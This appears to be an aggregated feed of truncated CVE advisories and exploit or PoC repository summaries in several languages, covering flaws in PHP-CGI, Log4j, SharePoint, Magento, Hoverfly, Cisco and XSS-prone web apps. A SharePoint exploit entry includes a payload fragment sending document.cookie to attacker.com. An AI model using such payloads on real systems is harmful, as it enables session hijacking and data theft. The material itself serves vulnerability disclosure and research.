EUVD-2026-95107

msgpack5 is a msgpack v5 implementation for node.js and the browser. Prior to 6.1.0, decoding a negative signed 64-bit integer modifies the corresponding bytes in the caller-provided input buffer while computing the value. Applications that retain or reuse encoded input for integrity checks,...

CVE-2026-107296 msgpack5: Decoding negative int64 values mutates the input buffer

msgpack5 is a msgpack v5 implementation for node.js and the browser. Prior to 6.1.0, decoding a negative signed 64-bit integer modifies the corresponding bytes in the caller-provided input buffer while computing the value. Applications that retain or reuse encoded input for integrity checks,...

PHP_CVE-2012-1823

PHP-CGI远程代码执行漏洞（CVE-2012-1823） 原理 参考文章 http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/ 影响版本 php 漏洞解读 PHP SAPI 与运行模式 首先，介绍一下PHP的运行模式。 下载PHP源码，可以看到其中有个目录叫sapi。sapi在PHP中的作用，类似于一个消息的“传递者”，比如我在《Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写》一文中介绍的fpm，他的作用就是接受Web容器通过fastcgi协议封装好的数据，并交给PHP解释器执行。...

CVE-2024-4323

🇮🇱 BringThemHome NeverAgainIsNow 🇮🇱 Мы требуем безопасного возвращения всех граждан, взятых в заложники террористической группировкой ХАМАС. Мы не успокоимся, пока каждый заложник не будет освобождён и не вернётся домой в безопасности. Вы можете помочь вернуть их...

gospider

GoSpider GoSpider - Fast web spider written in Go Painless integrate Gospider into your recon workflow? this project was part of Osmedeus Engine. Check out how it was integrated at @OsmedeusEngine Installation GO install GO111MODULE=on go install github.com/jaeles-project/gospider@latest Docker...

Log4j_Vulnerability_Demo

Log4jVulnerabilityDemo Log4j 취약점CVE-2021-44228이 어떻게 악용될 수 있는지 보여주는 간단한 프로그램입니다. 데모 실행 방법 : 프로그램을 시작하려면 UNIX 시스템에서는 start.sh를, Windows에서는 start.bat를 실행하면 됩니다. 사용자 입력은 Log4j 프레임워크를 사용하여 콘솔에 읽혀지고 기록됩니다. 기본적으로 Log4j 라이브러리에서 생성된 로깅 메시지는 JNDI 치환에 대해 서버 연결 불가 / 호스트를 찾을 수 없음 오류를 제공하지 않습니다. 그리고 이것이 이 취약점이...

CVE-2026-32201-exploit

개요 CVE-2026-32201에 대한 Python 익스플로잇 - Microsoft SharePoint Server의 부적절한 입력 검증으로, 인증되지 않은 네트워크 스푸핑을 허용합니다 C:L/I:L. 영향 대상: SharePoint Server 2016 Enterprise, 2019, Subscription Edition fetch'http://attacker.com/?c='+document.cookie" \ --endpoint /layouts/15/notify.aspx 출력 예시: + SharePoint 감지됨...

CVE-2026-30048

CVE-2026-30048 - NotChatbot WebChat 영상 데모 https://youtu.be/HklaoNKP9H8 재현 단계 1. 공식 패키지/CDN을 사용하여 WebChat 위젯을 통합합니다. 2. 채팅 인터페이스를 엽니다. 3. 위의 페이로드를 채팅 메시지로 보냅니다. 4. 대화를 다시 로드하거나 다시 엽니다. 5. 브라우저에서 JavaScript 실행을 확인합니다. 영향 피해자 브라우저에서의 임의 JavaScript 실행 세션 하이재킹 정보 노출 상황에 따른 잠재적 계정 탈취 근본 원인 사용자 입력이 채팅 기...

cve-2026-13934

CVE-2026-13934 작업 프로젝트 저장소입니다. 조사·분석·작업·보고서를 한 레포에서 다룹니다 D088/D091. 이 파일은 레포·보드 진입 문서 입니다. 폴더·산출물 규약 전문은 docs/conventions.md를 보세요. 본문현황·결론·링크은 보고서report 항목이 승격할 때 갱신합니다. 조사·분석·작업 에이전트는 루트 README를 수정하지 않습니다. 한 줄 요약 : Google Chrome의 WebGPU 구현체 Dawn 이 YCbCr 샘플러 생성 시 Vulkan 규격이 요구하는 파라미터 제약을 검사하지 않아,...

CVE-2022-24086

CVE-2022-24086 CVE-2022-24086 о Magento RCE Описание Adobe Commerce версий 2.4.3-p1 и более ранние и 2.3.7-p2 и более ранние подвержены уязвимости некорректной проверки ввода во время процесса оформления заказа. Эксплуатация этой уязвимости не требует взаимодействия с пользователем и может привес...

CVE-2026-22015-Serverless-Function-Environment-Variable-Injection-via-Event

CVE-2026-22015 – Внедрение переменных окружения в бессерверную функцию через событие Программный код имитация Python Lambda lambdaenvinject.py - Vulnerable function that reads env from event import os, json def handlerevent, context: The event contains environment variable overrides debug feature...

CVE-2026-63720-datamodel-code-generator

CVE-2026-63720: Инъекция кода в datamodel-code-generator через непроверяемый customBasePath Серьёзность: Высокая, CVSS 3.1 7.5 / CVSS 4.0 7.5 присвоен VulnCheck, CNA Экологический потолок развёртывание в виде сетевого сервиса: до 9.8 Вектор v4.0:...

Bolt-CMS-3.6.2---Cross-Site-Scripting

Bolt CMS 3.6.2 - Уязвимость межсайтового скриптинга Cross-Site Scripting Bolt CMS 3.6.2 - Уязвимость межсайтового скриптинга Cross-Site Scripting CVE-2018-19933 https://vulners.com/cve/CVE-2018-19933 Доказательство концепции Для эксплуатации уязвимости Bolt CMS 3.6.2 позволяет выполнить XSS через...

icannTLD

icannTLD Corelight-update теперь можно использовать для создания и поддержания входных файлов icannTLD. Описание скрипта Скрипт Zeek, использующий официальный список доменов верхнего уровня TLD ICANN с Input Framework для извлечения соответствующей информации из DNS-запроса и определения, являетс...

CVE-2025-63419

CVE-2025-63419 CrushFTP до версии 11.3.760 подвержен HTML-инъекции. Веб-сервер имеет функцию, позволяющую пользователям обмениваться файлами; функция отражает имя файла в поле emailbody без санитизации, что приводит к HTML-инъекции. CWE CWE-79 — Некорректная нейтрализация входных данных при...

CVE-2025-54123

CVE-2025-54123 - Внедрение команд в Hoverfly RCE PoC CVE-2025-54123 - Внедрение команд в Middleware в Hoverfly 📌 Детали CVE ID : CVE-2025-54123 Тип : Внедрение команд / Удаленное выполнение кода RCE Вендор : Hoverfly Воздействие : Позволяет аутентифицированным злоумышленникам выполнять произвольн...

CVE-2025-20393

CVE-2025-20393 📌 Обзор CVE-2025-20393 — это критическая уязвимость удаленного выполнения команд RCE в устройствах Cisco Secure Email Gateway SEG и Cisco Secure Email and Web Manager SEWM , работающих под управлением Cisco AsyncOS. Уязвимость существует из-за неправильной проверки входных данных в...

postgresql: PostgreSQL: Arbitrary code execution via untrusted data inclusion in pg_dump

A vulnerability in PostgreSQL allows a malicious origin-server superuser to achieve client-side arbitrary code execution during a database restore. By injecting untrusted data into a pgdump export, the attacker can exploit the input expansion of the psql \restrict meta-command. When a victim...

CVE-2023-51800

CVE-2023-51800 School Fees Management System v1.0 - Множественные уязвимости межсайтового скриптинга XSS Описание : Множественные уязвимости межсайтового скриптинга XSS в School Fees Management System v1.0. Версия уязвимого продукта : School Fees Management System v1.0 Автор CVE : Geraldo Alcânta...

CVE-2022-29380

CVE-2022-29380 CVE-2022-29380 Date: 25/05/2022 Author: OpenXP Team Software: Academy LMS Version: Academy LMS = v4.3 Type: Cross-Site Scripting OWASP TOP 10: A03:2021-Injection CWE: CWE-79 Improper Neutralization of Input During Web Page Generation 'Cross-site Scripting' References:...